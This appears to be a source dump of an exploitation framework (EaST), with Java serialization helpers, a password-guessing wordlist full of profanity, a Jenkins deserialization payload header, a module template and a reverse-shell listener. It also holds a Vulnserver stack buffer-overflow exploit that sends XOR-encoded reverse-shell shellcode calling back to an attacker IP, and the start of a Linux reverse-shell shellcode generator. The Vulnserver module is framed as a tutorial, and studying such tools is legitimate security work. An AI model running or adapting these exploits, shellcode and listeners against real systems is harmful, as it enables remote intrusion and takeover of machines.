struct.unpack('>ss', value)[0] elif self.type == 'boolean': value = io.read(1) if not value: raise Exception('Failed to deserialize NewArray value') value = struct.unpack('>B', value)[0] elif self.type == 'short': value = io.read(2) if not value or len(value) != 2: raise Exception('Failed to deserialize NewArray value') value = struct.unpack('>H', value)[0] elif self.type == 'int': value = io.read(4) if not value or len(value) != 4: raise Exception('Failed to deserialize NewArray value') value = struct.unpack('>I', value)[0] elif self.type == 'long': value = io.read(8) if not value or len(value) != 8: raise Exception('Failed to deserialize NewArray value') value = struct.unpack('>Q', value)[0] elif self.type == 'float': value = io.read(4) if not value or len(value) != 4: raise Exception('Failed to deserialize NewArray value') value = struct.unpack('>F', value)[0] elif self.type == 'double': value = io.read(8) if not value or len(value) != 8: raise Exception('Failed to deserialize NewArray value') value = struct.unpack('>D', value)[0] else: value = decode_content(io, self.stream) return value def encode_value(self, value): if self.type == 'byte': res = struct.pack('>B', value) elif self.type == 'char': res = struct.pack('>ss', value) elif self.type == 'double': res = struct.pack('>D', value) elif self.type == 'float': res = struct.pack('>F', value) elif self.type == 'int': res = struct.pack('>I', value) elif self.type == 'long': res = struct.pack('>Q', value) elif self.type == 'short': res = struct.pack('>H', value) elif self.type == 'boolean': res = struct.pack('>B', value) elif self.type.__class__ is Element: res = value.encode() else: res = encode_content(value) return res def __str__(self): ret = self.type.__str__() + ', ' ret += '\n'.join(value.__str__() for value in self.values) return ret class NewClass(Element): def __init__(self, stream=''): Element.__init__(self, stream) self.class_description = None def decode(self, io): class_desc = ClassDesc(self.stream) self.class_description = class_desc.decode(io) if self.stream: self.stream.add_reference(self) return self def encode(self): if self.class_description.__class__ != ClassDesc: raise Exception('Failed to serialize NewClass') encoded = '' encoded += self.class_description.encode() return encoded def __str__(self): return self.class_description.__str__() class NewClassDesc(Element): def __init__(self, stream=''): Element.__init__(self, stream) self.class_name = "" self.serial_version = 0 self.flags = 0 self.fields = [] self.class_annotation = None self.super_class = None def decode(self, io): utf = Utf(self.stream) self.class_name = utf.decode(io) self.serial_version = self.decode_serial_version(io) if self.stream: self.stream.add_reference(self) self.flags = self.decode_flags(io) field_length = self.decode_fields_length(io) for i in range(0, field_length): temp_field = Field(self.stream) field = temp_field.decode(io) self.fields.append(field) annotation = Annotation(self.stream) super_class = ClassDesc(self.stream) self.class_annotation = annotation.decode(io) self.super_class = super_class.decode(io) return self def encode(self): if self.class_name.__class__ is not Utf and self.class_annotation.__class__ is not Annotation and self.super_class.__class__ is not ClassDesc: raise Exception('Filed to serialize NewClassDesc') encoded = '' encoded += self.class_name.encode() encoded += struct.pack('>Q', self.serial_version) encoded += struct.pack('>B', self.flags) encoded += struct.pack('>H', len(self.fields)) for field in self.fields: encoded += field.encode() encoded += self.class_annotation.encode() encoded += self.super_class.encode() return encoded def decode_serial_version(self, io): raw_serial = io.read(8) if not raw_serial or len(raw_serial) != 8: raise Exception('Failed to unserialize ClassDescription') return struct.unpack('>Q', raw_serial)[0] def decode_flags(self, io): raw_flags = io.read(1) if not raw_flags: raise Exception('Failed to unserialize ClassDescription') return struct.unpack('>b', raw_flags)[0] def decode_fields_length(self, io): fields_length = io.read(2) if not fields_length or len(fields_length) != 2: raise Exception('Failed to unserialize ClassDescription') return struct.unpack('>h', fields_length)[0] def __str__(self): ret = self.class_name.__str__() + ", [" ret += ', '.join(field.__str__() for field in self.fields) ret += ']' # if self.super_class.description.__class__ is NewClassDesc: # ret += ", super_class: " + self.super_class.description.class_name.__str__() # elif self.super_class.description.__class__ is Reference: # ret += ", super_class: " + self.super_class.description.__str__() return ret class NewEnum(Element): def __init__(self, stream=''): Element.__init__(self, stream) self.enum_description = None self.constant_name = None def decode(self, io): class_desc = ClassDesc(self.stream) self.enum_description = class_desc.decode(io) if self.stream: self.stream.add_reference(self) self.constant_name = self.decode_constant_name(io) return self def encode(self): if self.enum_description.__class__ is not ClassDesc or self.constant_name.__class__ is not Utf: raise Exception('Failed to serialize EnumDescription') encoded = '' encoded += self.enum_description.encode() encoded += encode_content(self.constant_name) return encoded def decode_constant_name(self, io): content = decode_content(io, self.stream) if content.__class__ is not Utf: raise Exception('Failed to unserialize NewEnum') return content class NewObject(Element): def __init__(self, stream=None): Element.__init__(self, stream) self.class_desc = None self.class_data = [] def decode(self, io): class_desc = ClassDesc(self.stream) self.class_desc = class_desc.decode(io) if self.stream: self.stream.add_reference(self) if self.class_desc.description.__class__ is NewClassDesc: self.class_data = self.decode_class_data(io, self.class_desc.description) elif self.class_desc.description.__class__ is Reference: ref = self.class_desc.description.handle - Constants.BASE_WIRE_HANDLE self.class_data = self.decode_class_data(io, self.stream.references[ref]) return self def encode(self): if self.class_desc.__class__ is not ClassDesc: raise Exception('Failed to serialize NewObject') encoded = '' encoded += self.class_desc.encode() for value in self.class_data: if type(value) is list: encoded += self.encode_value(value) else: encoded += encode_content(value) return encoded def decode_class_data(self, io, my_class_desc): values = [] if my_class_desc.super_class.description.__class__ is not NullReference: if my_class_desc.super_class.description.__class__ is Reference: ref = my_class_desc.super_class.description.handle - Constants.BASE_WIRE_HANDLE values.extend(self.decode_class_data(io, self.stream.references[ref])) else: values.extend(self.decode_class_data(io, my_class_desc.super_class.description)) values.extend(self.decode_class_fields(io, my_class_desc)) return values def decode_class_fields(self, io, my_class_desc): values = [] for field in my_class_desc.fields: if field.is_primitive(): values.append(self.decode_value(io, field.type)) else: content = decode_content(io, self.stream) values.append(content) return values def decode_value(self, io, type): if type == 'byte': value_raw = io.read(1) val = struct.unpack(">b", value_raw)[0] value = ['byte', val] elif type == 'char': value_raw = io.read(2) val = struct.unpack(">h", value_raw)[0] value = ['char', val] elif type == 'boolean': value_raw = io.read(1) val = struct.unpack(">B", value_raw)[0] value = ['boolean', val] elif type == 'short': value_raw = io.read(2) val = struct.unpack(">h", value_raw)[0] value = ['short', val] elif type == 'int': value_raw = io.read(4) val = struct.unpack(">i", value_raw)[0] value= ['int', val] elif type == 'long': value_raw = io.read(8) val = struct.unpack(">q", value_raw)[0] value = ['long', val] elif type == 'float': value_raw = io.read(4) val = struct.unpack(">f", value_raw)[0] value = ['float', val] elif type == 'double': value_raw = io.read(8) val = struct.unpack(">d", value_raw)[0] value = ['double', val] else: raise Exception("Unknown typecode: %s" % type) return value def encode_value(self, value): res = '' if value[0] == 'byte': res = struct.pack('>b', value[1]) elif value[0] == 'char': res = struct.pack('>h', value[1]) elif value[0] == 'double': res = struct.pack('>d', value[1]) elif value[0] == 'float': res = struct.pack('>f', value[1]) elif value[0] == 'int': res = struct.pack('>i', value[1]) elif value[0] == 'long': res = struct.pack('>Q', value[1]) elif value[0] == 'short': res = struct.pack('>h', value[1]) elif value[0] == 'boolean': res = struct.pack('>B', value[1]) else: raise Exception('Unsupported NewArray type') return res def __str__(self): ret = '' if self.class_desc.description.__class__ is NewClassDesc: ret += self.class_desc.description.class_name.__str__() elif self.class_desc.description.__class__ is ProxyClassDesc: ret += ','.join(iface.contents.__str__() for iface in self.class_desc.description.interfaces) elif self.class_desc.description.__class__ is Reference: ret += hex(self.class_desc.description.handle - Constants.BASE_WIRE_HANDLE) ret += ' => {' data_str = ', '.join(data.__str__() for data in self.class_data) ret += data_str ret += '}' return ret class NullReference(Element): pass class ProxyClassDesc(Element): def __init__(self, stream=''): Element.__init__(self, stream) self.interfaces = [] self.class_annotation = None self.super_class = None def decode(self, io): if self.stream: self.stream.add_reference(self) interfaces_length = self.decode_interfaces_length(io) for i in range(0, interfaces_length): utf = Utf(self.stream) interface = utf.decode(io) self.interfaces.append(interface) annotation = Annotation(self.stream) super_class = ClassDesc(self.stream) self.class_annotation = annotation.decode(io) self.super_class = super_class.decode(io) return self def encode(self): if self.class_annotation.__class__ is not Annotation and self.super_class.__class__ is not ClassDesc: raise Exception('Failed to serialize ProxyClassDesc') encoded = '' encoded += struct.pack('>I', len(self.interfaces)) for interface in self.interfaces: encoded += interface.encode() encoded += self.class_annotation.encode() encoded += self.super_class.encode() return encoded def decode_interfaces_length(self, io): field_length = io.read(4) if not field_length or len(field_length) != 4: raise Exception('Failed to unserialize ProxyClassDesc') return struct.unpack('>I', field_length)[0] def __str__(self): ret = '[' interfaces_str = ', '.join(interface.__str__() for interface in self.interfaces) ret += interfaces_str + ']' if self.super_class.description.__class__ is NewClassDesc: ret += ", super_class: " + self.super_class.description.class_name.__str__() elif self.super_class.description.__class__ is Reference: ret += ", super_class: " + self.super_class.description.__str__() return ret class Reference(Element): def __init__(self, stream=''): Element.__init__(self, stream) self.handle = 0 def decode(self, io): handle_raw = io.read(4) if not handle_raw or len(handle_raw) != 4: raise Exception('Failed to unserialize Reference') self.handle = struct.unpack('>I', handle_raw)[0] return self def encode(self): if self.handle < Constants.BASE_WIRE_HANDLE: raise Exception('Failed to serialize Reference') encoded = "" encoded += struct.pack('>I', self.handle) return encoded def __str__(self): return hex(self.handle) class Reset(Element): pass class Stream(Element): def __init__(self, stream=None): Element.__init__(self, stream) self.magic = Constants.STREAM_MAGIC self.version = Constants.STREAM_VERSION self.contents = [] self.references = [] def decode(self, io): self.magic = self.decode_magic(io) self.version = self.decode_version(io) try: while 1: content = decode_content(io, self) self.contents.append(content) except EOFError: pass return self def encode(self): encoded = '' encoded += struct.pack('>H', self.magic) encoded += struct.pack('>H', self.version) for content in self.contents: encoded += encode_content(content) return encoded def add_reference(self, ref): self.references.append(ref) def decode_magic(self, io): magic = io.read(2) if magic and len(magic) == 2 and struct.unpack('>H', magic)[0] == Constants.STREAM_MAGIC: return Constants.STREAM_MAGIC else: raise Exception("Failed to unserialize Stream") def decode_version(self, io): version = io.read(2) if version and struct.unpack('>H', version)[0] == Constants.STREAM_VERSION: return Constants.STREAM_VERSION else: raise Exception('Failed to unserialize Stream') class Utf(Element): def __init__(self, stream='', contents=''): Element.__init__(self, stream) self.contents = contents self.length = len(contents) def decode(self, io): raw_length = io.read(2) if not raw_length or len(raw_length) != 2: raise Exception('Failed to unserialize Utf') self.length = struct.unpack('>H', raw_length)[0] if self.length == 0: self.contents = "" else: self.contents = io.read(self.length) if not self.contents or len(self.contents) != self.length: raise Exception('Failed to unserialize Utf') return self def encode(self): encoded = struct.pack('>H', self.length) encoded += self.contents return encoded def __str__(self): return self.contents class LongUtf(Utf): def decode(self, io): raw_length = io.read(8) if not raw_length or len(raw_length) != 8: raise Exception('Failed to unserialize LongUtf') self.length = struct.unpack('>Q', raw_length)[0] if self.length == 0: self.contents = "" else: self.contents = io.read(self.length) if not self.contents or len(self.contents) != self.length: raise Exception('Failed to unserialize LongUtf') return self def encode(self): encoded = struct.pack('>Q', [self.length]) encoded += self.contents return encoded def decode_content(io, stream): opcode = io.read(1) if not opcode: raise EOFError() opcode = struct.unpack('>B', opcode)[0] if opcode == Constants.TC_BLOCKDATA: block_data = BlockData(stream) content = block_data.decode(io) elif opcode == Constants.TC_BLOCKDATALONG: block_data_long = BlockDataLong(stream) content = block_data_long.decode(io) elif opcode == Constants.TC_ENDBLOCKDATA: end_bd = EndBlockData(stream) content = end_bd.decode(io) elif opcode == Constants.TC_OBJECT: new_object = NewObject(stream) content = new_object.decode(io) elif opcode == Constants.TC_CLASS: new_class = NewClass(stream) content = new_class.decode(io) elif opcode == Constants.TC_ARRAY: new_array = NewArray(stream) content = new_array.decode(io) elif opcode == Constants.TC_STRING: utf = Utf(stream) content = utf.decode(io) if stream: stream.add_reference(content) elif opcode == Constants.TC_LONGSTRING: long_utf = LongUtf(stream) content = long_utf.decode(io) if stream: stream.add_reference(content) elif opcode == Constants.TC_ENUM: new_enum = NewEnum(stream) content = new_enum.decode(io) elif opcode == Constants.TC_CLASSDESC: new_class_desc = NewClassDesc(stream) content = new_class_desc.decode(io) elif opcode == Constants.TC_PROXYCLASSDESC: proxy = ProxyClassDesc(stream) content = proxy.decode(io) elif opcode == Constants.TC_REFERENCE: ref = Reference(stream) content = ref.decode(io) elif opcode == Constants.TC_NULL: ref = NullReference(stream) content = ref.decode(io) elif opcode == Constants.TC_EXCEPTION: raise Exception("Failed to unserialize unsupported TC_EXCEPTION content") elif opcode == Constants.TC_RESET: reset = Reset(stream) content = reset.decode(io) else: raise Exception('Failed to unserialize content') return content def encode_content(content): # TODO encode content encoded = '' if content.__class__ is BlockData: encoded += struct.pack('>B', Constants.TC_BLOCKDATA) elif content.__class__ is BlockDataLong: encoded += struct.pack('>B', Constants.TC_BLOCKDATALONG) elif content.__class__ is EndBlockData: encoded += struct.pack('>B', Constants.TC_ENDBLOCKDATA) elif content.__class__ is NewObject: encoded += struct.pack('>B', Constants.TC_OBJECT) elif content.__class__ is NewClass: encoded += struct.pack('>B', Constants.TC_CLASS) elif content.__class__ is NewArray: encoded += struct.pack('>B', Constants.TC_ARRAY) elif content.__class__ is Utf: encoded += struct.pack('>B', Constants.TC_STRING) elif content.__class__ is LongUtf: encoded += struct.pack('>B', Constants.TC_LONGSTRING) elif content.__class__ is NewEnum: encoded += struct.pack('>B', Constants.TC_ENUM) elif content.__class__ is NewClassDesc: encoded += struct.pack('>B', Constants.TC_CLASSDESC) elif content.__class__ is ProxyClassDesc: encoded += struct.pack('>B', Constants.TC_PROXYCLASSDESC) elif content.__class__ is NullReference: encoded += struct.pack('>B', Constants.TC_NULL) elif content.__class__ is Reset: encoded += struct.pack('>B', Constants.TC_RESET) elif content.__class__ is Reference: encoded += struct.pack('>B', Constants.TC_REFERENCE) else: raise Exception('Failed to serialize content') encoded += content.encode() return encoded def print_content(content): ret = '' if content.__class__ is BlockData: ret += "%s {%s}" % (print_class(content), str(content)) elif content.__class__ is BlockDataLong: ret += "%s {%s}" % (print_class(content), str(content)) elif content.__class__ is EndBlockData: ret += print_class(content) elif content.__class__ is NewObject: ret += "%s {%s}" % (print_class(content), str(content)) elif content.__class__ is ClassDesc: ret += "%s {%s}" % (print_class(content), str(content)) elif content.__class__ is NewClass: ret += "%s {%s}" % (print_class(content), str(content)) elif content.__class__ is NewArray: ret += "%s {%s}" % (print_class(content), str(content)) elif content.__class__ is Utf: ret += "%s {%s}" % (print_class(content), str(content)) elif content.__class__ is LongUtf: ret += "%s {%s}" % (print_class(content), str(content)) elif content.__class__ is NewEnum: ret += "%s {%s}" % (print_class(content), str(content)) elif content.__class__ is NewClassDesc: ret += "%s {%s}" % (print_class(content), str(content)) elif content.__class__ is ProxyClassDesc: ret += "%s {%s}" % (print_class(content), str(content)) elif content.__class__ is NullReference: ret += print_class(content) elif content.__class__ is Reset: ret += print_class(content) elif content.__class__ is Reference: ret += "%s {%s}" % (print_class(content), str(content)) else: raise Exception('Failed to serialize content') return ret def print_class(content): return content.__class__.__name__ def get_key_by_value(dictionary, search_value): for key, value in dictionary.iteritems(): if value == search_value: return key raise Exception("There is no selected element in dictionary") ================================================ FILE: core/helpers/java/__init__.py ================================================ ================================================ FILE: core/passwords.txt ================================================ 123456 password 12345678 1234 pussy 12345 dragon qwerty 696969 mustang letmein baseball master michael football shadow monkey abc123 pass fuckme 6969 jordan harley ranger iwantu jennifer hunter fuck 2000 test batman trustno1 thomas tigger robert access love buster 1234567 soccer hockey killer george sexy andrew charlie superman asshole fuckyou dallas jessica panties pepper 1111 austin william daniel golfer summer heather hammer yankees joshua maggie biteme enter ashley thunder cowboy silver richard fucker orange merlin michelle corvette bigdog cheese matthew 121212 patrick martin freedom ginger blowjob nicole sparky yellow camaro secret dick falcon taylor 111111 131313 123123 bitch hello scooter please porsche guitar chelsea black diamond nascar jackson cameron 654321 computer amanda wizard xxxxxxxx money phoenix mickey bailey knight iceman tigers purple andrea horny dakota aaaaaa player sunshine morgan starwars boomer cowboys edward charles girls booboo coffee xxxxxx bulldog ncc1701 rabbit peanut john johnny gandalf spanky winter brandy compaq carlos tennis james mike brandon fender anthony blowme ferrari cookie chicken maverick chicago joseph diablo sexsex hardcore 666666 willie welcome chris panther yamaha justin banana driver marine angels fishing david maddog hooters wilson butthead dennis fucking captain bigdick chester smokey xavier steven viking snoopy blue eagles winner samantha house miller flower jack firebird butter united turtle steelers tiffany zxcvbn tomcat golf bond007 bear tiger doctor gateway gators angel junior thx1138 porno badboy debbie spider melissa booger 1212 flyers fish porn matrix teens scooby jason walter cumshot boston braves yankee lover barney victor tucker princess mercedes 5150 doggie zzzzzz gunner horney bubba 2112 fred johnson xxxxx tits member boobs donald bigdaddy bronco penis voyager rangers birdie trouble white topgun bigtits bitches green super qazwsx magic lakers rachel slayer scott 2222 asdf video london 7777 marlboro srinivas internet action carter jasper monster teresa jeremy 11111111 bill crystal peter pussies cock beer rocket theman oliver prince beach amateur 7777777 muffin redsox star testing shannon murphy frank hannah dave eagle1 11111 mother nathan raiders steve forever angela viper ou812 jake lovers suckit gregory buddy whatever young nicholas lucky helpme jackie monica midnight college baby cunt brian mark startrek sierra leather 232323 4444 beavis bigcock happy sophie ladies naughty giants booty blonde fucked golden 0 fire sandra pookie packers einstein dolphins 0 chevy winston warrior sammy slut 8675309 zxcvbnm nipples power victoria asdfgh vagina toyota travis hotdog paris rock xxxx extreme redskins erotic dirty ford freddy arsenal access14 wolf nipple iloveyou alex florida eric legend movie success rosebud jaguar great cool cooper 1313 scorpio mountain madison 987654 brazil lauren japan naked squirt stars apple alexis aaaa bonnie peaches jasmine kevin matt qwertyui danielle beaver 4321 4128 runner swimming dolphin gordon casper stupid shit saturn gemini apples august 3333 canada blazer cumming hunting kitty rainbow 112233 arthur cream calvin shaved surfer samson kelly paul mine king racing 5555 eagle hentai newyork little redwings smith sticky cocacola animal broncos private skippy marvin blondes enjoy girl apollo parker qwert time sydney women voodoo magnum juice abgrtyu 777777 dreams maxwell music rush2112 russia scorpion rebecca tester mistress phantom billy 6666 albert ================================================ FILE: data/CVE-2015-8103/serialized_payload_header ================================================ <===[JENKINS REMOTING CAPACITY]===> ================================================ FILE: data/report_templates/common.html ================================================ Report

Server was started at: %s

Succeeded modules: %s

Failed modules: %s

%s ================================================ FILE: data/report_templates/row_template.html ================================================
Name: {MODULE_NAME} ({IS_SUCCESS})
Description:
{DESCRIPTION}
Notes:
{NOTES} {OPTIONS} {LISTENER}
Module out:
{LOG}
Cve: {CVE}


================================================ FILE: docs/files/template.py ================================================ #!/usr/bin/env python #IMPORTS SECTION from collections import OrderedDict # for rigth options order from Sploit import Sploit # base class for module #INFO SECTION INFO = {} INFO['NAME'] = '' # Module name INFO['DESCRIPTION'] = '' # Short description of vulnerability INFO['VENDOR'] = '' # Vulnerable soft vendor's homepage INFO['CVE Name'] = '' # CVE if exists(like 2017-9999) INFO['NOTES'] = """ """ # Full description of vulnerability INFO['DOWNLOAD_LINK'] = '' # Link to vulnerable soft INFO['LINKS'] = [] # Some helpful links(like exploit's page on exploit-db or link to some article) INFO['CHANGELOG'] = '' # Usually it's exploit writing date INFO['PATH'] = 'General/' # Virtual path of module. It used by module tree in GUI # OPTIONS SECTION OPTIONS = OrderedDict() OPTIONS['HOST'] = '127.0.0.1' OPTIONS['PORT'] = 9999 class exploit(Sploit): def __init__(self,host="", port=0, ssl=False, logger=None): Sploit.__init__(self, logger=logger) def args(self): self.args = Sploit.args(self, OPTIONS) def run(self): #Get options from gui self.args() #YOUR CODE ########## self.finish(True) if __name__ == '__main__': print "Running exploit %s .. " % INFO['NAME'] e = exploit("192.168.0.1", 80) e.run() ================================================ FILE: docs/files/vulnserver_bof/vulnserver_buffer_overflow.py ================================================ #!/usr/bin/env python #IMPORTS SECTION from collections import OrderedDict # for rigth options order from Sploit import Sploit # base class for module import socket from shellcodes.Shellcodes import OSShellcodes from shellcodes.ShellUtils import Constants #INFO SECTION INFO = {} INFO['NAME'] = 'vulnserver_buffer_overflow' # Module name INFO['DESCRIPTION'] = 'Vulnserver Stack-Based Buffer Overflow' # Short description of vulnerability INFO['VENDOR'] = 'http://www.thegreycorner.com/2010/12/introducing-vulnserver.html' # Vulnerable soft vendor's homepage INFO['CVE Name'] = '' # CVE if exists(like 2017-9999) INFO['NOTES'] = """ """ # Full description of vulnerability INFO['DOWNLOAD_LINK'] = 'http://sites.google.com/site/lupingreycorner/vulnserver.zip' # Link to vulnerable soft INFO['LINKS'] = ['http://resources.infosecinstitute.com/stack-based-buffer-overflow-tutorial-part-1-introduction', 'http://resources.infosecinstitute.com/stack-based-buffer-overflow-tutorial-part-2-exploiting-the-stack-overflow/', 'http://resources.infosecinstitute.com/stack-based-buffer-overflow-tutorial-part-3-%E2%80%94-adding-shellcode'] # Some helpful links(like exploit's page on exploit-db or link to some article) INFO['CHANGELOG'] = '17 Apr 2017' # Usually used for exploit writing date INFO['PATH'] = 'Tutorials/' # Virtual path of module. It used in module tree in GUI # OPTIONS SECTION OPTIONS = OrderedDict() OPTIONS['HOST'] = '192.168.1.176' OPTIONS['PORT'] = 9999 OPTIONS['CONNECTBACK_IP'] = '192.168.1.32' class exploit(Sploit): def __init__(self,host="", port=0, ssl=False, logger=None): Sploit.__init__(self, logger=logger) def args(self): self.args = Sploit.args(self, OPTIONS) self.host = self.args.get('HOST', OPTIONS['HOST']) self.port = self.args.get('PORT', OPTIONS['PORT']) self.connectback_ip = self.args.get('CONNECTBACK_IP', OPTIONS['CONNECTBACK_IP']) if self.args['listener']: self.listener_port = self.args['listener']['PORT'] else: self.log('[-] Please enable listener') self.finish(False) def generate_shellcode(self): badchars = ['\x00', '\x0a', '\x0d'] # badchars sc = OSShellcodes(Constants.OS.WINDOWS, Constants.OS_ARCH.X32, self.connectback_ip, self.listener_port, badchars) shell = sc.create_shellcode( Constants.ShellcodeConnection.REVERSE, # tcp connect back shellcode encode=Constants.EncoderType.XOR # Encoding to remove badchars ) return shell def run(self): #Get options from gui self.args() #YOUR CODE sock = socket.socket() sock.connect((self.host, self.port)) # connects to vulnserver.exe payload = 'TRUN .' payload += 'A' * 2006 payload += '\xAF\x11\x50\x62' # essfunc.dll JMP ESP(0x625011AF) payload += '\x90' * 16 # 16 NOPs payload += self.generate_shellcode() sock.sendall(payload) ########## self.finish(True) if __name__ == '__main__': print "Running exploit %s .. " % INFO['NAME'] e = exploit("192.168.0.1", 80) e.run() ================================================ FILE: docs/index.html ================================================ EaST Tutorials
Bootstrap test
Bootstrap test
================================================ FILE: help/README.txt ================================================ ================================================ FILE: listener/__init__.py ================================================ ================================================ FILE: listener/bind_connector.py ================================================ import socket import asyncore import os, sys import select import errno from websocket import create_connection from Commands import APIClient import json class TCPBindConnector(asyncore.dispatcher): def __init__(self): asyncore.dispatcher.__init__(self) self.__module_name = sys.argv[-1] self.wsport = 49999 self.connection = create_connection("ws://%s:%s" % ("127.0.0.1", self.wsport)) self.api = APIClient(self.connection) self.pid = os.getpid() self.hello() self.run() def handle_connect(self): self.send_message("Connection to %s:%s succeeded" % (self.host, self.port), 1) def handle_close(self): self.send_message("\nShell was disconnected", 2) self.connection.close() self.close() sys.exit(1) def handle_read(self): data = self.recv_all() if data: self.send_message(data, 1) def recv_all(self, chunk=4096): buffer = [] while 1: try: data = self.recv(chunk) if not data: break buffer.append(data) except socket.error, e: err = e.args[0] if err == errno.EAGAIN or err == errno.EWOULDBLOCK: # There is no data break return "".join(buffer) def handle_write(self): res = select.select([self.connection.sock], [], [], 0.2) if not res[0]: return resp = json.loads(self.connection.recv()) command = resp.get('message') if not command: return self.send(command+"\n") def hello(self): self.api.hello(self.__module_name, 'listener') def run(self): self.create_socket(socket.AF_INET, socket.SOCK_STREAM) options = self.get_options() self.host = options.get('HOST') self.port = options.get('PORT') self.send_message('Trying to connect to %s:%s' % (self.host, self.port)) self.connect((self.host, self.port)) def get_options(self): resp = self.api.send_command('get_listener_options', module_name=self.__module_name) return resp def send_message(self, message, state=0): ''' Listener message to gui :param message: Message from shell :param state: 0 - shell is not connected 1 - shell connected 2 - shell disconnected ''' self.api.send_command('on_listener_message', message=message, module_name=self.__module_name, state=state) def recv_command(self): data = self.connection.recv() data = json.loads(data) return data.get('message') if __name__=="__main__": server = TCPBindConnector() asyncore.loop() ================================================ FILE: listener/listener.py ================================================ # -*- coding: utf-8 -*- import Queue import sys, os import asyncore import socket import json import logging import errno import time from websocket import create_connection import select from Commands import APIClient class ListenerHandler(asyncore.dispatcher): def __init__(self, sock, listener): asyncore.dispatcher.__init__(self, sock) self.listener = listener def handle_read(self): data = self.recv_all() if data: self.listener.send_message(data, 1) def recv_all(self, chunk=4096): buffer = [] while 1: try: data = self.recv(chunk) if not data: break buffer.append(data) except socket.error, e: err = e.args[0] if err == errno.EAGAIN or err == errno.EWOULDBLOCK: # There is no data break return "".join(buffer) def handle_write(self): res = select.select([self.listener.connection.sock], [], [], 0.2) if not res[0]: return resp = json.loads(self.listener.connection.recv()) self.listener.logger.info("Recieved: " + str(resp)) command = resp.get('message') if not command: return self.send(command+"\n") def handle_close(self): self.listener.send_message("\nShell was disconnected", 2) self.listener.logger.info("Shell was disconnected") self.listener.connection.close() self.close() self.listener.close() sys.exit(1) class Listener(asyncore.dispatcher): def __init__(self): self.__module_name = sys.argv[-1] asyncore.dispatcher.__init__(self) self.logger = logging.getLogger() self.logger.setLevel(logging.INFO) formatter = logging.Formatter('%(filename)s - %(asctime)s - %(levelname)s - %(message)s') fh = logging.FileHandler('Logs/listener.log') fh.setLevel(logging.INFO) fh.setFormatter(formatter) self.logger.addHandler(fh) self.pid = os.getpid() self.host = '0.0.0.0' self.port = 5555 self.wsport = 49999 self.handler = None self.connection = create_connection("ws://%s:%s" % ("127.0.0.1", self.wsport)) self.api = APIClient(self.connection) self.hello() self.run() def run(self): options = {} options = self.get_options() self.port = options.get('PORT', self.port) self.create_socket(socket.AF_INET, socket.SOCK_STREAM) self.set_reuse_addr() try: self.bind((self.host, self.port)) except socket.error as msg: self.logger.error('Bind failed. Error Code : ' + str(msg[0]) + ' Message ' + msg[1]) sys.exit() self.listen(1) self.send_message("Listening on %s:%s" % (self.host, str(self.port))) def handle_accept(self): if self.handler: return pair = self.accept() if pair is not None: sock, addr = pair self.shell_addr = repr(addr) self.send_message("Shell connected to %s" % self.shell_addr, 1) self.handler = ListenerHandler(sock, self) def send_message(self, message, state=0): ''' Listener message to gui :param message: Message from shell :param state: 0 - shell is not connected 1 - shell connected 2 - shell disconnected ''' self.logger.info(("Listener PID = %s" % self.pid) + message) self.api.send_command('on_listener_message', message=message, module_name=self.__module_name, state=state) def get_options(self): resp = self.api.send_command('get_listener_options', module_name=self.__module_name) self.logger.debug(resp) return resp def hello(self): self.api.hello(self.__module_name, 'listener') if __name__=="__main__": server = Listener() asyncore.loop() ================================================ FILE: shellcodes/Asm.py ================================================ #!/usr/bin/python # -*- coding: utf-8 -*- from ctypes import * from ShellUtils import * class ShellGenerator: def __init__(self, OS_TARGET, OS_TARGET_ARCH): self.os_target = OS_TARGET self.target = None if OS_TARGET == Constants.OS.WINDOWS: self.target = WindowsShellcodes(OS_TARGET_ARCH) elif OS_TARGET == Constants.OS.LINUX: self.target = LinuxShellcodes(OS_TARGET_ARCH) else: print("OS '%s' is not supported" % OS_TARGET) return self.OS_TARGET_ARCH = OS_TARGET_ARCH def get_shellcode(self, type, message="", connectback_ip="127.0.0.1", connectback_port=5555, command="", make_exe=0, debug=0, filename="", dll_inj_funcs=[]): if not self.target: print("Generating shellcodes for '%s' OS is not supported" % self.os_target) return None if type not in self.target.shell_types: print("There no shellcodes of type '%s' for system %s" % (type, self.target_os)) return None code = "" need_to_build = False if type == "message": code = self.target.message(message) elif type == "reverse": if not connectback_ip or not connectback_port: print "You must specify connectback params" return None code = self.target.reverse(connectback_ip, connectback_port) elif type == "command": code = self.target.command(command) else: return None shell, filepath = create_shellcode(code, self.os_target, self.OS_TARGET_ARCH, make_exe, debug, filename, dll_inj_funcs) return shell, filepath class LinuxShellcodes(): """ Class with shellcodes (asm language) """ def __init__(self, OS_TARGET_ARCH): self.shell_types = ["message", "reverse"] self.target_os = "LINUX" self.OS_TARGET_ARCH = OS_TARGET_ARCH def message(self, message=''): """ Get simple asm code for Linux """ if not message: message = 'hello' code = """ BITS OS_TARGET_ARCH jmp short one two: pop ecx ;get the address of the string from the stack xor eax, eax ;clean up the registers mov al, 4 ;syscall write xor ebx, ebx inc ebx ;stdout is 1 xor edx,edx mov dl, LENGTH ;length of the string int 0x80 mov al, 1 ;exit the shellcode dec ebx int 0x80 one: call two ;jump to avoid null-bytes db 'MESSAGE', 0x0a, 0x0d """ if self.OS_TARGET_ARCH == '32bit': code = code.replace("OS_TARGET_ARCH", "32") elif self.OS_TARGET_ARCH == '64bit': code = code.replace("OS_TARGET_ARCH", "64") code = code.replace("ecx", "rcx") else: print "Format: %s is not supported" % self.OS_TARGET_ARCH return code = code.replace("MESSAGE", message) code = code.replace("LENGTH", str(len(message))) return code def reverse(self, connectback_ip, connectback_port): """ Get reverse shellcode for Linux """ # Reverse engineering # $ strace -e execve,socket,bind,connect nc 127.0.0.1 12357 # execve("/usr/bin/nc", ["nc", "127.0.0.1", "12357"], [/* 59 vars */]) = 0 # socket(PF_NETLINK, SOCK_RAW, 0) = 3 # bind(3, {sa_family=AF_NETLINK, pid=0, groups=00000000}, 12) = 0 # # Here is a part we were looking for: # # socket(PF_INET, SOCK_STREAM, IPPROTO_TCP) = 3 # connect( # 3, # {sa_family=AF_INET, sin_port=htons(12357), sin_addr=inet_addr("127.0.0.1")}, # 16 # ) = -1 EINPROGRESS (Operation now in progress) if not connectback_ip or not connectback_port: print "You must specify some params" return None code = "" if self.OS_TARGET_ARCH == '32bit': code = """ BITS 32 global _start _start: ; =============================== SOCKET ===================================== ; socket(PF_INET, SOCK_STREAM, IPPROTO_TCP) = 3 ; ; int socket(int domain, int type, int protocol); ; ; int socketcall(int call, unsigned long *args) ; socketcall SYS_SOCKET socket() args ; EAX EBX ECX ; 102 1 (2, 1, 6) ; ; SYS_SOCKET will return file descriptor (fd) in EAX. ; EAX xor eax, eax mov al, 102 ; socketcall ; EBX xor ebx, ebx 